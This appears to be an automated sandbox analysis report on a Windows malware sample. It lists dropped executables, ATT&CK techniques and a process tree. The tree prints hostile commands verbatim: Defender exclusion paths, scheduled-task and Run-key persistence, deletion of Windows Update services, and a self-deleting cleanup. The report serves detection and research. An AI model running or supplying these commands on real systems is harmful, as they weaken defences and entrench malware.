djvu | 2fa5adb1940605fdf9a3b39af904fe7cc2dba8d70039e1f96829a510242d71e2

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	416E.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	6F0C.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	45C5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	liuj.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	liuj.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	45C5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	5B92.exe

Executes dropped EXE 23 IoCs

pid	Process
4788	416E.exe
2324	43FF.exe
4524	45C5.exe
3188	4C7D.exe
4184	4E53.exe
4864	5B92.exe
1340	6F0C.exe
1424	7304.exe
2164	45C5.exe
2232	llpb1133.exe
1112	llpb1133.exe
1768	liuj.exe
1640	liuj.exe
4712	XandETC.exe
5100	XandETC.exe
868	liuj.exe
4072	liuj.exe
912	45C5.exe
2212	45C5.exe
5056	build2.exe
3432	12D0.exe
3184	build3.exe
2752	build2.exe

Loads dropped DLL 6 IoCs

pid	Process
2416	rundll32.exe
3168	rundll32.exe
2752	build2.exe
2752	build2.exe
4272	rundll32.exe
4272	rundll32.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4784	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

VMProtect packed file 6 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/files/0x0006000000022f5f-161.dat	vmprotect
behavioral2/files/0x0006000000022f5f-185.dat	vmprotect
behavioral2/files/0x0006000000022f5f-191.dat	vmprotect
behavioral2/files/0x0006000000022f5f-192.dat	vmprotect
behavioral2/memory/2232-197-0x0000000140000000-0x0000000140620000-memory.dmp	vmprotect
behavioral2/memory/1112-199-0x0000000140000000-0x0000000140620000-memory.dmp	vmprotect

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\7ddf794f-4728-451c-8d9b-c75d727c8a8e\\45C5.exe\" --AutoStart"	45C5.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
48	api.2ip.ua
70	api.2ip.ua
47	api.2ip.ua

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4524 set thread context of 2164	4524	45C5.exe	96
PID 912 set thread context of 2212	912	45C5.exe	127
PID 5056 set thread context of 2752	5056	build2.exe	135

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2340	sc.exe
5044	sc.exe
4528	sc.exe
3888	sc.exe
2920	sc.exe
3388	sc.exe
1120	sc.exe
556	sc.exe
4892	sc.exe
4928	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 6 IoCs

pid	pid_target	Process	procid_target
3360	4184	WerFault.exe	92
2436	4788	WerFault.exe	88
4424	2416	WerFault.exe	120
2744	3168	WerFault.exe	124
5044	1424	WerFault.exe	95
3112	3432	WerFault.exe	129

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	79fe08c83e8f2f3679c3dfdcff6698b92489fa915ccfb3c3458827861034814a.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	79fe08c83e8f2f3679c3dfdcff6698b92489fa915ccfb3c3458827861034814a.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	79fe08c83e8f2f3679c3dfdcff6698b92489fa915ccfb3c3458827861034814a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4C7D.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4C7D.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4C7D.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
2292	schtasks.exe
4904	schtasks.exe
1356	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3564	timeout.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	59	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	60	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4072	79fe08c83e8f2f3679c3dfdcff6698b92489fa915ccfb3c3458827861034814a.exe
4072	79fe08c83e8f2f3679c3dfdcff6698b92489fa915ccfb3c3458827861034814a.exe
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE
2684	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2684	Explorer.EXE

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
4072	79fe08c83e8f2f3679c3dfdcff6698b92489fa915ccfb3c3458827861034814a.exe
3188	4C7D.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeShutdownPrivilege	2684	Explorer.EXE
Token: SeCreatePagefilePrivilege	2684	Explorer.EXE
Token: SeDebugPrivilege	4864	powershell.exe
Token: SeDebugPrivilege	3860	powershell.exe
Token: SeDebugPrivilege	4788	powershell.exe
Token: SeDebugPrivilege	4532	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2684 wrote to memory of 4788	2684	Explorer.EXE	88
PID 2684 wrote to memory of 4788	2684	Explorer.EXE	88
PID 2684 wrote to memory of 4788	2684	Explorer.EXE	88
PID 2684 wrote to memory of 2324	2684	Explorer.EXE	89
PID 2684 wrote to memory of 2324	2684	Explorer.EXE	89
PID 2684 wrote to memory of 2324	2684	Explorer.EXE	89
PID 2684 wrote to memory of 4524	2684	Explorer.EXE	90
PID 2684 wrote to memory of 4524	2684	Explorer.EXE	90
PID 2684 wrote to memory of 4524	2684	Explorer.EXE	90
PID 2684 wrote to memory of 3188	2684	Explorer.EXE	91
PID 2684 wrote to memory of 3188	2684	Explorer.EXE	91
PID 2684 wrote to memory of 3188	2684	Explorer.EXE	91
PID 2684 wrote to memory of 4184	2684	Explorer.EXE	92
PID 2684 wrote to memory of 4184	2684	Explorer.EXE	92
PID 2684 wrote to memory of 4184	2684	Explorer.EXE	92
PID 2684 wrote to memory of 4864	2684	Explorer.EXE	93
PID 2684 wrote to memory of 4864	2684	Explorer.EXE	93
PID 2684 wrote to memory of 4864	2684	Explorer.EXE	93
PID 2684 wrote to memory of 1340	2684	Explorer.EXE	94
PID 2684 wrote to memory of 1340	2684	Explorer.EXE	94
PID 2684 wrote to memory of 1340	2684	Explorer.EXE	94
PID 2684 wrote to memory of 1424	2684	Explorer.EXE	95
PID 2684 wrote to memory of 1424	2684	Explorer.EXE	95
PID 2684 wrote to memory of 1424	2684	Explorer.EXE	95
PID 4524 wrote to memory of 2164	4524	45C5.exe	96
PID 4524 wrote to memory of 2164	4524	45C5.exe	96
PID 4524 wrote to memory of 2164	4524	45C5.exe	96
PID 4524 wrote to memory of 2164	4524	45C5.exe	96
PID 4524 wrote to memory of 2164	4524	45C5.exe	96
PID 4524 wrote to memory of 2164	4524	45C5.exe	96
PID 4524 wrote to memory of 2164	4524	45C5.exe	96
PID 4524 wrote to memory of 2164	4524	45C5.exe	96
PID 4524 wrote to memory of 2164	4524	45C5.exe	96
PID 4524 wrote to memory of 2164	4524	45C5.exe	96
PID 2164 wrote to memory of 4784	2164	45C5.exe	100
PID 2164 wrote to memory of 4784	2164	45C5.exe	100
PID 2164 wrote to memory of 4784	2164	45C5.exe	100
PID 1340 wrote to memory of 1112	1340	6F0C.exe	101
PID 1340 wrote to memory of 1112	1340	6F0C.exe	101
PID 4788 wrote to memory of 1356	4788	416E.exe	102
PID 4788 wrote to memory of 1356	4788	416E.exe	102
PID 4788 wrote to memory of 1356	4788	416E.exe	102
PID 4864 wrote to memory of 2232	4864	5B92.exe	103
PID 4864 wrote to memory of 2232	4864	5B92.exe	103
PID 4864 wrote to memory of 1768	4864	5B92.exe	106
PID 4864 wrote to memory of 1768	4864	5B92.exe	106
PID 4864 wrote to memory of 1768	4864	5B92.exe	106
PID 1340 wrote to memory of 1640	1340	6F0C.exe	107
PID 1340 wrote to memory of 1640	1340	6F0C.exe	107
PID 1340 wrote to memory of 1640	1340	6F0C.exe	107
PID 2164 wrote to memory of 912	2164	45C5.exe	111
PID 2164 wrote to memory of 912	2164	45C5.exe	111
PID 2164 wrote to memory of 912	2164	45C5.exe	111
PID 1340 wrote to memory of 4712	1340	6F0C.exe	112
PID 1340 wrote to memory of 4712	1340	6F0C.exe	112
PID 4864 wrote to memory of 5100	4864	5B92.exe	113
PID 4864 wrote to memory of 5100	4864	5B92.exe	113
PID 1768 wrote to memory of 868	1768	liuj.exe	115
PID 1768 wrote to memory of 868	1768	liuj.exe	115
PID 1768 wrote to memory of 868	1768	liuj.exe	115
PID 1640 wrote to memory of 4072	1640	liuj.exe	117
PID 1640 wrote to memory of 4072	1640	liuj.exe	117
PID 1640 wrote to memory of 4072	1640	liuj.exe	117
PID 4492 wrote to memory of 2416	4492	rundll32.exe	120

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2684
- C:\Users\Admin\AppData\Local\Temp\79fe08c83e8f2f3679c3dfdcff6698b92489fa915ccfb3c3458827861034814a.exe
  "C:\Users\Admin\AppData\Local\Temp\79fe08c83e8f2f3679c3dfdcff6698b92489fa915ccfb3c3458827861034814a.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:4072
- C:\Users\Admin\AppData\Local\Temp\416E.exe
  C:\Users\Admin\AppData\Local\Temp\416E.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4788
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "svcupdater" /tr "C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
    3⤵
    - Creates scheduled task(s)
    PID:1356
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4788 -s 1028
    3⤵
    - Program crash
    PID:2436
- C:\Users\Admin\AppData\Local\Temp\43FF.exe
  C:\Users\Admin\AppData\Local\Temp\43FF.exe
  2⤵
  - Executes dropped EXE
  PID:2324
- C:\Users\Admin\AppData\Local\Temp\45C5.exe
  C:\Users\Admin\AppData\Local\Temp\45C5.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4524
- - C:\Users\Admin\AppData\Local\Temp\45C5.exe
    C:\Users\Admin\AppData\Local\Temp\45C5.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:2164
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\7ddf794f-4728-451c-8d9b-c75d727c8a8e" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:4784
  - - C:\Users\Admin\AppData\Local\Temp\45C5.exe
      "C:\Users\Admin\AppData\Local\Temp\45C5.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:912
    - - C:\Users\Admin\AppData\Local\Temp\45C5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\45C5.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:2212
      - C:\Users\Admin\AppData\Local\7e611b0d-0d6c-4f84-aea6-c021f44657c8\build2.exe
        
        "C:\Users\Admin\AppData\Local\7e611b0d-0d6c-4f84-aea6-c021f44657c8\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5056
        
        C:\Users\Admin\AppData\Local\7e611b0d-0d6c-4f84-aea6-c021f44657c8\build2.exe
        
        "C:\Users\Admin\AppData\Local\7e611b0d-0d6c-4f84-aea6-c021f44657c8\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:2752
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\7e611b0d-0d6c-4f84-aea6-c021f44657c8\build2.exe" & exit
        8⤵
        
        PID:3748
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:3564
      - C:\Users\Admin\AppData\Local\7e611b0d-0d6c-4f84-aea6-c021f44657c8\build3.exe
        
        "C:\Users\Admin\AppData\Local\7e611b0d-0d6c-4f84-aea6-c021f44657c8\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:3184
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:2292
- C:\Users\Admin\AppData\Local\Temp\4C7D.exe
  C:\Users\Admin\AppData\Local\Temp\4C7D.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:3188
- C:\Users\Admin\AppData\Local\Temp\4E53.exe
  C:\Users\Admin\AppData\Local\Temp\4E53.exe
  2⤵
  - Executes dropped EXE
  PID:4184
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4184 -s 344
    3⤵
    - Program crash
    PID:3360
- C:\Users\Admin\AppData\Local\Temp\5B92.exe
  C:\Users\Admin\AppData\Local\Temp\5B92.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\Users\Admin\AppData\Local\Temp\llpb1133.exe
    "C:\Users\Admin\AppData\Local\Temp\llpb1133.exe"
    3⤵
    - Executes dropped EXE
    PID:2232
- - C:\Users\Admin\AppData\Local\Temp\liuj.exe
    "C:\Users\Admin\AppData\Local\Temp\liuj.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1768
  - - C:\Users\Admin\AppData\Local\Temp\liuj.exe
      "C:\Users\Admin\AppData\Local\Temp\liuj.exe" -h
      4⤵
      Executes dropped EXE
      PID:868
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    PID:5100
- C:\Users\Admin\AppData\Local\Temp\6F0C.exe
  C:\Users\Admin\AppData\Local\Temp\6F0C.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1340
- - C:\Users\Admin\AppData\Local\Temp\llpb1133.exe
    "C:\Users\Admin\AppData\Local\Temp\llpb1133.exe"
    3⤵
    - Executes dropped EXE
    PID:1112
- - C:\Users\Admin\AppData\Local\Temp\liuj.exe
    "C:\Users\Admin\AppData\Local\Temp\liuj.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1640
  - - C:\Users\Admin\AppData\Local\Temp\liuj.exe
      "C:\Users\Admin\AppData\Local\Temp\liuj.exe" -h
      4⤵
      Executes dropped EXE
      PID:4072
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    PID:4712
- C:\Users\Admin\AppData\Local\Temp\7304.exe
  C:\Users\Admin\AppData\Local\Temp\7304.exe
  2⤵
  - Executes dropped EXE
  PID:1424
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1424 -s 764
    3⤵
    - Program crash
    PID:5044
- C:\Users\Admin\AppData\Local\Temp\12D0.exe
  C:\Users\Admin\AppData\Local\Temp\12D0.exe
  2⤵
  - Executes dropped EXE
  PID:3432
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dfsoeq.dll,start
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    PID:4272
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 14135
      4⤵
      PID:1992
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 480
    3⤵
    - Program crash
    PID:3112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3860
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:4196
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1120
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:556
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:5044
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2920
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4892
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:880
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4180
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:4348
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4920
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:2376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4788
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4692
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:2484
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:4144
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:2292
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:4880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4532
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:1864
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
